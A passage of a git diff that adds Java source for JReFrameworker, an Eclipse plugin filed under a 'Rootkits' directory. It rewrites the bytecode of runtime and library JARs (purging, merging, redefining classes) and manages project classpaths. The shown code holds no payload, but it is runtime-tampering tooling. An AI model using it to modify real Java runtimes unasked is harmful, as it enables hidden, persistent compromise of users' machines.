BuilderUtils.getBuildPhaseJar(target.getName(), jrefProject, currentPhase-1); + if(!phaseJar.exists()){ + phaseJar = RuntimeUtils.getClasspathJar(target.getName(), jrefProject); + } + if (phaseJar != null && phaseJar.exists()) { + Engine engine = new Engine(phaseJar, JReFrameworkerPreferences.getMergeRenamingPrefix()); + allEngines.add(engine); + for(String entry : engine.getOriginalEntries()){ + entry = entry.replace(".class", ""); + if(engineMap.containsKey(entry)){ + engineMap.get(entry).add(engine); + } else { + Set engines = new HashSet(); + engines.add(engine); + engineMap.put(entry, engines); + } + } + } else { + Log.warning("Phase Jar not found: " + target.getName()); + } + } + } + + // make library modifications + modifyTarget(phaseSources, currentPhase, engineMap, allEngines, monitor); + + // make sure the build directory exists + File projectBuildDirectory = jrefProject.getBuildDirectory(); + if (!projectBuildDirectory.exists()) { + projectBuildDirectory.mkdirs(); + } + + // write out the modified jars + for(Engine engine : allEngines){ + File modifiedLibrary = BuilderUtils.getBuildPhaseJar(engine.getJarName(), jrefProject, currentPhase); + modifiedLibrary.getParentFile().mkdirs(); + engine.save(modifiedLibrary); + + if(isLastPhase){ + File finalModifiedLibrary = new File(projectBuildDirectory.getCanonicalPath() + File.separatorChar + engine.getJarName()); + if(finalModifiedLibrary.exists()){ + // replace the library + finalModifiedLibrary.delete(); + } + RuntimeUtils.copyFile(modifiedLibrary, finalModifiedLibrary); + } + + // log the modified runtime + String base = jrefProject.getProject().getLocation().toFile().getCanonicalPath(); + String relativeFilePath = modifiedLibrary.getCanonicalPath().substring(base.length()); + if(relativeFilePath.charAt(0) == File.separatorChar){ + relativeFilePath = relativeFilePath.substring(1); + } + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) Log.info("Modified: " + relativeFilePath); + } + + jrefProject.refresh(); + } + + private void modifyTarget(Set sources, int phase, Map> engineMap, Set allEngines, IProgressMonitor monitor) throws IOException, IncrementalBuilderException { + SubMonitor modificationMonitor = SubMonitor.convert(monitor, sources.size()); + monitor.subTask("Modifying targets of " + sources.size() + " phase " + phase + " source" + (sources.size() > 1 ? "s" : "")); + for(Source source : sources){ + + // check if a cancellation was requested + if(modificationMonitor.isCanceled()){ + throw new IncrementalBuilderException("Modification process was cancelled."); + } + + ClassNode classNode = source.getClassNode(); + // TODO: refactor this bit to just save the parsed annotation requests instead of true/false + boolean purgeModification = BuilderUtils.hasPurgeModification(classNode); + boolean finalityModification = BuilderUtils.hasFinalityModification(classNode); + boolean visibilityModification = BuilderUtils.hasVisibilityModification(classNode); + boolean mergeModification = BuilderUtils.hasMergeTypeModification(classNode); + boolean defineModification = BuilderUtils.hasDefineTypeModification(classNode); + + if(purgeModification || finalityModification || visibilityModification || mergeModification || defineModification){ + // get the qualified modification class name + String base = jrefProject.getBinaryDirectory().getCanonicalPath(); + String modificationClassName = source.getSourceFile().getCanonicalPath().substring(base.length()); + if(modificationClassName.charAt(0) == File.separatorChar){ + modificationClassName = modificationClassName.substring(1); + } + modificationClassName = modificationClassName.replace(".java", ""); + + if(purgeModification){ + Set targets = PurgeIdentifier.getPurgeTargets(classNode, phase); + for(String target : targets){ + // purge target from each jar that contains the purge target + if(engineMap.containsKey(target)){ + for(Engine engine : engineMap.get(target)){ + if(RuntimeUtils.isRuntimeJar(engine.getOriginalJar())){ + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader() }); + } else { + URL[] jarURL = { new URL("jar:file:" + engine.getOriginalJar().getCanonicalPath() + "!/") }; + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader(), URLClassLoader.newInstance(jarURL) }); + } + engine.process(classNode, phase); + } + } else { + Log.warning("Class entry [" + target + "] specified by [" + classNode.name + "] could not be found in any of the target jars."); + } + } + } + + if(finalityModification){ + Set targets = DefineFinalityIdentifier.getFinalityTargets(classNode, phase); + for(String target : targets){ + // merge into each target jar that contains the merge target + if(engineMap.containsKey(target)){ + for(Engine engine : engineMap.get(target)){ + if(RuntimeUtils.isRuntimeJar(engine.getOriginalJar())){ + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader() }); + } else { + URL[] jarURL = { new URL("jar:file:" + engine.getOriginalJar().getCanonicalPath() + "!/") }; + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader(), URLClassLoader.newInstance(jarURL) }); + } + engine.process(classNode, phase); + } + } else { + Log.warning("Class entry [" + target + "] specified by [" + classNode.name + "] could not be found in any of the target jars."); + } + } + } + + if(visibilityModification){ + Set targets = DefineVisibilityIdentifier.getVisibilityTargets(classNode, phase); + for(String target : targets){ + // merge into each target jar that contains the merge target + if(engineMap.containsKey(target)){ + for(Engine engine : engineMap.get(target)){ + if(RuntimeUtils.isRuntimeJar(engine.getOriginalJar())){ + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader() }); + } else { + URL[] jarURL = { new URL("jar:file:" + engine.getOriginalJar().getCanonicalPath() + "!/") }; + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader(), URLClassLoader.newInstance(jarURL) }); + } + engine.process(classNode, phase); + } + } else { + Log.warning("Class entry [" + target + "] specified by [" + classNode.name + "] could not be found in any of the target jars."); + } + } + } + + if(mergeModification){ + MergeIdentifier mergeIdentifier = new MergeIdentifier(classNode); + MergeTypeAnnotation mergeTypeAnnotation = mergeIdentifier.getMergeTypeAnnotation(); + if(mergeTypeAnnotation.getPhase() == phase){ + String target = mergeTypeAnnotation.getSupertype(); + // merge into each target jar that contains the merge target + if(engineMap.containsKey(target)){ + for(Engine engine : engineMap.get(target)){ + if(RuntimeUtils.isRuntimeJar(engine.getOriginalJar())){ + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader() }); + } else { + URL[] jarURL = { new URL("jar:file:" + engine.getOriginalJar().getCanonicalPath() + "!/") }; + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader(), URLClassLoader.newInstance(jarURL) }); + } + engine.process(classNode, phase); + } + } else { + Log.warning("Class entry [" + target + "] specified by [" + classNode.name + "] could not be found in any of the target jars."); + } + } + } + + if(defineModification){ + DefineIdentifier defineIdentifier = new DefineIdentifier(classNode); + DefineTypeAnnotation defineTypeAnnotation = defineIdentifier.getDefineTypeAnnotation(); + if(defineTypeAnnotation.getPhase() == phase){ + // define or replace in every target jar + for(Engine engine : allEngines){ + if(RuntimeUtils.isRuntimeJar(engine.getOriginalJar())){ + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader() }); + } else { + URL[] jarURL = { new URL("jar:file:" + engine.getOriginalJar().getCanonicalPath() + "!/") }; + engine.setClassLoaders(new ClassLoader[]{ getClass().getClassLoader(), URLClassLoader.newInstance(jarURL) }); + } + engine.process(classNode, phase); + } + } + } + } + modificationMonitor.worked(1); + } + + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/JReFrameworker.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/JReFrameworker.java new file mode 100644 index 0000000..12d4dc5 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/JReFrameworker.java @@ -0,0 +1,266 @@ +package com.jreframeworker.core; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.net.URI; +import java.net.URISyntaxException; +import java.net.URL; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; + +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.TransformerException; + +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.internal.events.BuildCommand; +import org.eclipse.core.resources.ICommand; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IProjectDescription; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Status; +import org.eclipse.jdt.core.IClasspathEntry; +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jdt.core.IPackageFragmentRoot; +import org.eclipse.jdt.core.JavaCore; +import org.eclipse.jdt.core.JavaModelException; +import org.eclipse.jdt.internal.core.ClasspathEntry; +import org.xml.sax.SAXException; + +import com.jreframeworker.Activator; +import com.jreframeworker.builder.JReFrameworkerBuilder; +import com.jreframeworker.builder.JReFrameworkerNature; +import com.jreframeworker.log.Log; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +@SuppressWarnings("restriction") +public class JReFrameworker { + + public static final String BUILD_DIRECTORY = "build"; + public static final String BUILD_PHASE_DIRECTORY_PREFIX = "phase"; + public static final String JREF_PROJECT_RESOURCE_DIRECTORY = ".jref"; // hidden directory + public static final String EXPORT_DIRECTORY = "export"; + public static final String SOURCE_DIRECTORY = "src"; + public static final String BINARY_DIRECTORY = "bin"; + public static final String RAW_DIRECTORY = "raw"; + public static final String JRE_FRAMEWORKER_ANNOTATIONS_JAR = "jreframeworker-annotations.jar"; + public static final String ANNOTATIONS_JAR_PATH = "annotations" + "/" + JRE_FRAMEWORKER_ANNOTATIONS_JAR; + + public static String getBuildPhaseDirectory(int phase){ + return BUILD_DIRECTORY + "/" + BUILD_PHASE_DIRECTORY_PREFIX + phase; + } + + public static LinkedList getJReFrameworkerProjects(){ + LinkedList projects = new LinkedList(); + for(IProject project : ResourcesPlugin.getWorkspace().getRoot().getProjects()){ + try { + if(project.isOpen() && project.hasNature(JReFrameworkerNature.NATURE_ID) && project.hasNature(JavaCore.NATURE_ID)){ + IJavaProject jProject = JavaCore.create(project); + if(jProject.exists()){ + projects.add(jProject); + } + } + } catch (CoreException e) {} + } + return projects; + } + + public static IStatus deleteProject(IProject project) { + if (project != null && project.exists()) + try { + project.delete(true, true, new NullProgressMonitor()); + } catch (CoreException e) { + Log.error("Could not delete project", e); + return new Status(Status.ERROR, Activator.PLUGIN_ID, "Could not delete project", e); + } + return Status.OK_STATUS; + } + + // references: + // https://sdqweb.ipd.kit.edu/wiki/JDT_Tutorial:_Creating_Eclipse_Java_Projects_Programmatically + // https://eclipse.org/articles/Article-Builders/builders.html + // http://www.programcreek.com/java-api-examples/index.php?api=org.eclipse.core.internal.events.BuildCommand + public static IStatus createProject(String projectName, IPath projectPath, IProgressMonitor monitor, BuildFile.Target... targets) throws CoreException, IOException, URISyntaxException, TransformerException, ParserConfigurationException, SAXException { + IProject project = null; + + try { + monitor.beginTask("Create JReFrameworker Runtime Project", 2); + + // create the empty eclipse project + monitor.setTaskName("Creating Eclipse project..."); + project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName); + File projectDirectory = new File(projectPath.toFile().getCanonicalPath() + File.separatorChar + project.getName()).getCanonicalFile(); + + File runtimesDirectory = new File(projectDirectory.getCanonicalPath() + File.separatorChar + BUILD_DIRECTORY); + runtimesDirectory.mkdirs(); + + IJavaProject jProject = createProject(projectName, projectPath, project, monitor); + monitor.worked(1); + if (monitor.isCanceled()){ + return Status.CANCEL_STATUS; + } + + BuildFile buildFile = BuildFile.createBuildFile(jProject); + for(BuildFile.Target target : targets){ + buildFile.addTarget(target); + } + + // copy runtimes and configure project classpath + monitor.setTaskName("Configuring project classpath..."); + configureProjectClasspath(jProject); + monitor.worked(1); + if (monitor.isCanceled()){ + return Status.CANCEL_STATUS; + } + + return Status.OK_STATUS; + } finally { + if (project != null && project.exists()){ + project.refreshLocal(IResource.DEPTH_INFINITE, new NullProgressMonitor()); + } + monitor.done(); + } + } + + private static void configureProjectClasspath(IJavaProject jProject) throws CoreException, JavaModelException, IOException, URISyntaxException { + // create bin folder + try { + IFolder binFolder = jProject.getProject().getFolder(BINARY_DIRECTORY); + binFolder.create(false, true, null); + jProject.setOutputLocation(binFolder.getFullPath(), null); + } catch (Exception e){ + Log.warning("Could not created bin folder.", e); + } + + // create a set of classpath entries + List entries = new ArrayList(); + + // adds classpath entry of: + String path = org.eclipse.jdt.launching.JavaRuntime.JRE_CONTAINER + "/" + org.eclipse.jdt.internal.launching.StandardVMType.ID_STANDARD_VM_TYPE + "/" + "JavaSE-1.8"; + entries.add(JavaCore.newContainerEntry(new Path(path))); + + // add the jreframeworker annotations jar + addProjectAnnotationsLibrary(jProject); + + // have to create this manually instead of using JavaCore.newLibraryEntry because JavaCore insists the path be absolute + IClasspathEntry relativeAnnotationsLibraryEntry = new ClasspathEntry(IPackageFragmentRoot.K_BINARY, + IClasspathEntry.CPE_LIBRARY, new Path(JREF_PROJECT_RESOURCE_DIRECTORY + "/" + JRE_FRAMEWORKER_ANNOTATIONS_JAR), ClasspathEntry.INCLUDE_ALL, // inclusion patterns + ClasspathEntry.EXCLUDE_NONE, // exclusion patterns + null, null, null, // specific output folder + false, // exported + ClasspathEntry.NO_ACCESS_RULES, false, // no access rules to combine + ClasspathEntry.NO_EXTRA_ATTRIBUTES); + entries.add(relativeAnnotationsLibraryEntry); + + // create source folder and add it to the classpath + IFolder sourceFolder = jProject.getProject().getFolder(SOURCE_DIRECTORY); + sourceFolder.create(false, true, null); + IPackageFragmentRoot sourceFolderRoot = jProject.getPackageFragmentRoot(sourceFolder); + entries.add(JavaCore.newSourceEntry(sourceFolderRoot.getPath())); + + // set the class path + jProject.setRawClasspath(entries.toArray(new IClasspathEntry[entries.size()]), null); + + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) Log.info("Successfully created JReFrameworker project: " + jProject.getProject().getName()); + } + + private static IJavaProject createProject(String projectName, IPath projectPath, IProject project, IProgressMonitor monitor) throws CoreException { + IProjectDescription projectDescription = project.getWorkspace().newProjectDescription(project.getName()); + URI location = getProjectLocation(projectName, projectPath); + projectDescription.setLocationURI(location); + + // make this a JReFrameworker project + projectDescription.setNatureIds(new String[] { JReFrameworkerNature.NATURE_ID, JavaCore.NATURE_ID }); + + // build first with Java compiler then JReFramewoker bytecode operations + BuildCommand javaBuildCommand = new BuildCommand(); + javaBuildCommand.setBuilderName(JavaCore.BUILDER_ID); + BuildCommand jrefBuildCommand = new BuildCommand(); + jrefBuildCommand.setBuilderName(JReFrameworkerBuilder.BUILDER_ID); + projectDescription.setBuildSpec(new ICommand[]{ javaBuildCommand, jrefBuildCommand}); + + // create and open the Eclipse project + project.create(projectDescription, null); + IJavaProject jProject = JavaCore.create(project); + project.open(new NullProgressMonitor()); + return jProject; + } + +// private static void addClasspathResourceEntry(IJavaProject jProject, IResource resource) throws JavaModelException { +// IPackageFragmentRoot root = jProject.getPackageFragmentRoot(resource); +// IClasspathEntry[] oldEntries = jProject.getRawClasspath(); +// IClasspathEntry[] newEntries = new IClasspathEntry[oldEntries.length + 1]; +// System.arraycopy(oldEntries, 0, newEntries, 0, oldEntries.length); +// newEntries[oldEntries.length] = JavaCore.newSourceEntry(root.getPath()); +// jProject.setRawClasspath(newEntries, null); +// } + +// /** +// * Searches for the default virtual machine +// * Note: this methods creates a project that is hardcoded to the path of the installed VM +// * @param jProject +// * @throws IOException +// * @throws JavaModelException +// * @throws URISyntaxException +// */ +// @SuppressWarnings("unused") +// private static void setAbsoluteProjectClasspath(IJavaProject jProject) throws IOException, JavaModelException, URISyntaxException { +// List entries = new ArrayList(); +// +// // add the default JVM classpath (assuming translator uses the same jvm libraries) +// IVMInstall vmInstall = JavaRuntime.getDefaultVMInstall(); +// LibraryLocation[] locations = JavaRuntime.getLibraryLocations(vmInstall); +// for (LibraryLocation library : locations) { +// entries.add(JavaCore.newLibraryEntry(library.getSystemLibraryPath(), null, null)); +// } +// +// // add the jreframeworker operations jar to project and the classpath +// setAnnotationsClasspath(jProject, entries); +// +// // set the class path +// jProject.setRawClasspath(entries.toArray(new IClasspathEntry[entries.size()]), null); +// } + + private static File addProjectAnnotationsLibrary(IJavaProject jProject) throws IOException, URISyntaxException, MalformedURLException { + // see http://stackoverflow.com/q/23825933/475329 for logic of getting bundle resource + URL fileURL = Activator.getDefault().getBundle().getEntry(ANNOTATIONS_JAR_PATH); + URL resolvedFileURL = FileLocator.toFileURL(fileURL); + // need to use the 3-arg constructor of URI in order to properly escape file system chars + URI resolvedURI = new URI(resolvedFileURL.getProtocol(), resolvedFileURL.getPath(), null); + InputStream annotationsJarInputStream = resolvedURI.toURL().openConnection().getInputStream(); + if(annotationsJarInputStream == null){ + throw new RuntimeException("Could not locate: " + ANNOTATIONS_JAR_PATH); + } + File annotationsLibDirectory = new File(jProject.getProject().getLocation().toFile().getCanonicalPath() + File.separatorChar + JREF_PROJECT_RESOURCE_DIRECTORY); + annotationsLibDirectory.mkdirs(); + File annotationsJar = new File(annotationsLibDirectory.getCanonicalPath() + File.separatorChar + JRE_FRAMEWORKER_ANNOTATIONS_JAR); + Files.copy(annotationsJarInputStream, annotationsJar.toPath()); + return annotationsJar; + } + + private static URI getProjectLocation(String projectName, IPath projectPath) { + URI location = null; + if (projectPath != null){ + location = URIUtil.toURI(projectPath); + } + if (location != null && ResourcesPlugin.getWorkspace().getRoot().getLocationURI().equals(location)) { + location = null; + } else { + location = URIUtil.toURI(URIUtil.toPath(location) + File.separator + projectName); + } + return location; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/JReFrameworkerProject.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/JReFrameworkerProject.java new file mode 100644 index 0000000..76d953b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/JReFrameworkerProject.java @@ -0,0 +1,500 @@ +package com.jreframeworker.core; + +import java.io.BufferedInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.net.URISyntaxException; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.Set; + +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.TransformerException; + +import org.apache.commons.io.FileDeleteStrategy; +import org.eclipse.core.resources.ICommand; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IProjectDescription; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jdt.core.IClasspathEntry; +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jdt.core.IPackageFragmentRoot; +import org.eclipse.jdt.core.JavaCore; +import org.eclipse.jdt.internal.core.ClasspathEntry; +import org.xml.sax.SAXException; + +import com.jreframeworker.builder.JReFrameworkerBuilder; +import com.jreframeworker.core.BuildFile.LibraryTarget; +import com.jreframeworker.log.Log; + +@SuppressWarnings("restriction") +public class JReFrameworkerProject { + + private IProject project; + private IJavaProject jProject; + + public JReFrameworkerProject(IProject project) { + this.project = project; + this.jProject = JavaCore.create(project); + } + + public BuildFile getBuildFile(){ + return BuildFile.getOrCreateBuildFile(jProject); + } + + public File getBuildDirectory() { + return getProject().getFolder(JReFrameworker.BUILD_DIRECTORY).getLocation().toFile(); + } + + public File getBinaryDirectory(){ + return getProject().getFolder(JReFrameworker.BINARY_DIRECTORY).getLocation().toFile(); + } + + public File getSourceDirectory(){ + return getProject().getFolder(JReFrameworker.SOURCE_DIRECTORY).getLocation().toFile(); + } + + /** + * Returns the Eclipse project resource + * @return + */ + public IProject getProject(){ + return project; + } + + /** + * Returns the Eclipse project resource + * @return + */ + public IJavaProject getJavaProject(){ + return jProject; + } + + public void clean() throws CoreException { + try { + File buildDirectory = project.getFolder(JReFrameworker.BUILD_DIRECTORY).getLocation().toFile(); + + // restore the classpath + restoreOriginalClasspathEntries(); + + if(buildDirectory.exists()) { + clearProjectBuildDirectory(buildDirectory); + } + } catch (Exception e) { + Log.error("Error cleaning " + project.getName(), e); + } + project.refreshLocal(IResource.DEPTH_INFINITE, new NullProgressMonitor()); + } + + private void clearProjectBuildDirectory(File buildDirectory) throws IOException { + for(File file : buildDirectory.listFiles()){ + if(file.isDirectory()){ + File directory = file; + clearProjectBuildDirectory(directory); + directory.delete(); + } else { + FileDeleteStrategy.FORCE.delete(file); + } + } + } + + public void disableJavaBuilder() throws CoreException { + IProjectDescription description = getProject().getDescription(); + ICommand[] commands = description.getBuildSpec(); + for (int i = 0; i < commands.length; ++i) { + // if the command exists, remove it + if (commands[i].getBuilderName().equals(JavaCore.BUILDER_ID)) { + ICommand[] newCommands = new ICommand[commands.length - 1]; + System.arraycopy(commands, 0, newCommands, 0, i); + System.arraycopy(commands, i + 1, newCommands, i, commands.length - i - 1); + description.setBuildSpec(newCommands); + project.setDescription(description, null); + return; + } + } + } + + public void enableJavaBuilder() throws CoreException { + IProjectDescription desc = project.getDescription(); + ICommand[] commands = desc.getBuildSpec(); + // if the command already exists, don't add it again + for (int i = 0; i < commands.length; ++i) { + if (commands[i].getBuilderName().equals(JavaCore.BUILDER_ID)) { + return; + } + } + ICommand[] newCommands = new ICommand[commands.length + 1]; + System.arraycopy(commands, 0, newCommands, 0, commands.length); + ICommand command = desc.newCommand(); + command.setBuilderName(JavaCore.BUILDER_ID); + newCommands[newCommands.length - 1] = command; + + if(!command1PreceedsCommand2(JavaCore.BUILDER_ID, JReFrameworkerBuilder.BUILDER_ID, newCommands)){ + swapBuildCommands(JavaCore.BUILDER_ID, JReFrameworkerBuilder.BUILDER_ID, newCommands); + } + + desc.setBuildSpec(newCommands); + project.setDescription(desc, null); + } + + private boolean command1PreceedsCommand2(String command1, String command2, ICommand[] commands) { + int command1Position = -1; + int command2Position = -1; + for (int i = 0; i < commands.length; ++i) { + if(commands[i].getBuilderName().equals(command1)){ + command1Position = i; + } + if(commands[i].getBuilderName().equals(command2)){ + command2Position = i; + } + } + if(command1Position != -1 && command2Position != -1 && command1Position != command2Position){ + if(command1Position < command2Position){ + return true; + } else { + return false; + } + } else { + return false; + } + } + + private void swapBuildCommands(String command1, String command2, ICommand[] commands) { + int command1Position = -1; + int command2Position = -1; + for (int i = 0; i < commands.length; ++i) { + if(commands[i].getBuilderName().equals(command1)){ + command1Position = i; + } + if(commands[i].getBuilderName().equals(command2)){ + command2Position = i; + } + } + if(command1Position != -1 && command2Position != -1 && command1Position != command2Position){ + swapBuildCommands(command1Position, command2Position, commands); + } + } + + private void swapBuildCommands(int command1Position, int command2Position, ICommand[] commands) { + ICommand swap = commands[command1Position]; + commands[command1Position] = commands[command2Position]; + commands[command2Position] = swap; + } + + /** + * Lists the JReFrameworker project targets + * @return + * @throws SAXException + * @throws IOException + * @throws ParserConfigurationException + */ + public Set listTargets() throws SAXException, IOException, ParserConfigurationException { + Set targets = new HashSet(); + for(BuildFile.Target target : getBuildFile().getTargets()){ + targets.add(target.getName()); + } + return targets; + } + + /** + * Adds a target from the JReFrameworker project + * @throws CoreException + * @throws URISyntaxException + */ + public void addTarget(File targetLibrary) throws TransformerException, ParserConfigurationException, SAXException, IOException, URISyntaxException, CoreException { + String entry = addProjectLibrary(jProject, targetLibrary); + + // make path relative to project (may need to trim project and leading slashes) + if(!new File(entry).exists()){ + String relativeLibraryPath = entry; + relativeLibraryPath = relativeLibraryPath.replace(File.separator, "/"); + if(relativeLibraryPath.startsWith("/")){ + relativeLibraryPath = relativeLibraryPath.substring(1); + } + if(relativeLibraryPath.startsWith(jProject.getProject().getName())){ + relativeLibraryPath = relativeLibraryPath.substring(jProject.getProject().getName().length()); + } + if(relativeLibraryPath.startsWith("/")){ + relativeLibraryPath = relativeLibraryPath.substring(1); + } + entry = relativeLibraryPath; + } + + // update the build file + BuildFile buildFile = getBuildFile(); + buildFile.addLibraryTarget(targetLibrary.getName(), entry); + } + + /** + * Adds a target with the given relative library directory + * @param targetLibrary + * @param relativeLibraryDirectory + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + * @throws IOException + * @throws URISyntaxException + * @throws CoreException + */ + public void addTarget(File targetLibrary, String relativeLibraryDirectory) throws TransformerException, ParserConfigurationException, SAXException, IOException, URISyntaxException, CoreException { + String entry = addProjectLibrary(jProject, targetLibrary, relativeLibraryDirectory); + + // update the build file + BuildFile buildFile = getBuildFile(); + buildFile.addLibraryTarget(targetLibrary.getName(), entry); + } + + /** + * Removes a target from the JReFrameworker project + */ + public void removeTarget(String target) throws TransformerException, ParserConfigurationException, SAXException, IOException { + BuildFile.getOrCreateBuildFile(jProject).removeTarget(target); + } + + public void refresh() throws CoreException { + jProject.getProject().refreshLocal(IResource.DEPTH_INFINITE, new NullProgressMonitor()); + } + + /** + * Copies a library into the project root directory and updates the classpath + * @param jProject + * @param library + * @throws IOException + * @throws URISyntaxException + * @throws MalformedURLException + * @throws CoreException + */ + private static String addProjectLibrary(IJavaProject jProject, File library) throws IOException, URISyntaxException, MalformedURLException, CoreException { + return addProjectLibrary(jProject, library, null); + } + + /** + * Replaces the classpath jar entry with the given jar + * @param jarName + * @param updatedLibrary + * @throws IOException + * @throws CoreException + */ + public void updateProjectLibrary(String jarName, File updatedLibrary) throws IOException, CoreException { + updatedLibrary = updatedLibrary.getCanonicalFile(); + String updatedLibraryPath = updatedLibrary.getCanonicalPath(); + File projectRoot = project.getLocation().toFile().getCanonicalFile(); + + // check if the path should be relative or absolute + boolean isUpdatedLibraryContainedInProject = false; + File parent = updatedLibrary.getParentFile(); + while(parent != null){ + if(parent.equals(projectRoot)){ + isUpdatedLibraryContainedInProject = true; + break; + } else { + parent = parent.getParentFile(); + } + } + + // if the updated library is inside the project, then make the path relative + // otherwise we must use the absolution path + if(isUpdatedLibraryContainedInProject){ + String base = projectRoot.getCanonicalPath(); + String relativeFilePath = updatedLibrary.getCanonicalPath().substring(base.length()); + if(relativeFilePath.charAt(0) == File.separatorChar){ + relativeFilePath = relativeFilePath.substring(1); + } + updatedLibraryPath = relativeFilePath; + } + + // create path to library + IPath path; +// // TODO: figure out why relative paths were causing "Illegal require library path" error during testing on Windows +// // seems fine on the mac, maybe it was a weird windows error? +// if(isUpdatedLibraryContainedInProject){ +// updatedLibraryPath = updatedLibraryPath.replace(File.separator, "/"); +// // library is at some path relative to project root +// path = new Path(updatedLibraryPath); +// } else { + // library is outside the project, using absolute path + path = jProject.getProject().getFile(updatedLibraryPath).getLocation(); +// } + + // create a classpath entry for the library + IClasspathEntry updatedLibraryEntry = new org.eclipse.jdt.internal.core.ClasspathEntry( + IPackageFragmentRoot.K_BINARY, + IClasspathEntry.CPE_LIBRARY, path, + ClasspathEntry.INCLUDE_ALL, // inclusion patterns + ClasspathEntry.EXCLUDE_NONE, // exclusion patterns + null, null, null, // specific output folder + false, // exported + ClasspathEntry.NO_ACCESS_RULES, false, // no access rules to combine + ClasspathEntry.NO_EXTRA_ATTRIBUTES); + + // get the classpath entries + ArrayList entries = new ArrayList(); + for(IClasspathEntry entry : jProject.getRawClasspath()){ + entries.add(entry); + } + + // search through the classpath's existing entries and replace the corresponding library entry + boolean found = false; + for(int i=0; i< entries.size(); i++){ + if(entries.get(i).getPath().toFile().getName().equals(jarName)){ + found = true; + entries.set(i, updatedLibraryEntry); + // assuming there is only one library with the same name... + break; + } + } + + // if the classpath entry was not found (because it was in a JRE container), then we need to add it to the classpath + if(!found){ + entries.add(updatedLibraryEntry); + } + + // update the classpath + IClasspathEntry[] classpath = new IClasspathEntry[entries.size()]; + entries.toArray(classpath); + jProject.setRawClasspath(classpath, null); + + // refresh project + jProject.getProject().refreshLocal(IResource.DEPTH_INFINITE, new NullProgressMonitor()); + } + + /** + * Copies a jar into the project at the specified relative path and updates the classpath + * @param jProject + * @param libraryToAdd + * @param relativeDirectoryPath + * @throws IOException + * @throws URISyntaxException + * @throws MalformedURLException + * @throws CoreException + */ + private static String addProjectLibrary(IJavaProject jProject, File libraryToAdd, String relativeDirectoryPath) throws IOException, URISyntaxException, MalformedURLException, CoreException { + + // only add the project library to the classpath if its not already there + for(IClasspathEntry entry : jProject.getRawClasspath()){ + if(entry.getPath().toFile().getName().endsWith(libraryToAdd.getName())){ + return entry.getPath().toString(); + } + } + + // copy the jar file into the project (if its not already there) + InputStream libraryInputStream = new BufferedInputStream(new FileInputStream(libraryToAdd)); + File libDirectory; + if(relativeDirectoryPath == null || relativeDirectoryPath.equals("")){ + libDirectory = new File(jProject.getProject().getLocation().toFile().getCanonicalPath()); + } else { + relativeDirectoryPath = relativeDirectoryPath.replace("/", File.separator).replace("\\", File.separator); + libDirectory = new File(jProject.getProject().getLocation().toFile().getCanonicalPath() + File.separator + relativeDirectoryPath); + } + libDirectory.mkdirs(); + File library = new File(libDirectory.getCanonicalPath() + File.separatorChar + libraryToAdd.getName()); + if(!library.exists()){ + Files.copy(libraryInputStream, library.toPath()); + } + + // refresh project + jProject.getProject().refreshLocal(IResource.DEPTH_INFINITE, new NullProgressMonitor()); + + // create a classpath entry for the library + IClasspathEntry relativeLibraryEntry; + if(relativeDirectoryPath != null){ + relativeDirectoryPath = relativeDirectoryPath.replace(File.separator, "/"); + // library is at some path relative to project root + relativeLibraryEntry = new org.eclipse.jdt.internal.core.ClasspathEntry( + IPackageFragmentRoot.K_BINARY, + IClasspathEntry.CPE_LIBRARY, jProject.getProject().getFile(relativeDirectoryPath + "/" + library.getName()).getLocation(), + ClasspathEntry.INCLUDE_ALL, // inclusion patterns + ClasspathEntry.EXCLUDE_NONE, // exclusion patterns + null, null, null, // specific output folder + false, // exported + ClasspathEntry.NO_ACCESS_RULES, false, // no access rules to combine + ClasspathEntry.NO_EXTRA_ATTRIBUTES); + } else { + // library placed at project root + relativeLibraryEntry = new org.eclipse.jdt.internal.core.ClasspathEntry( + IPackageFragmentRoot.K_BINARY, + 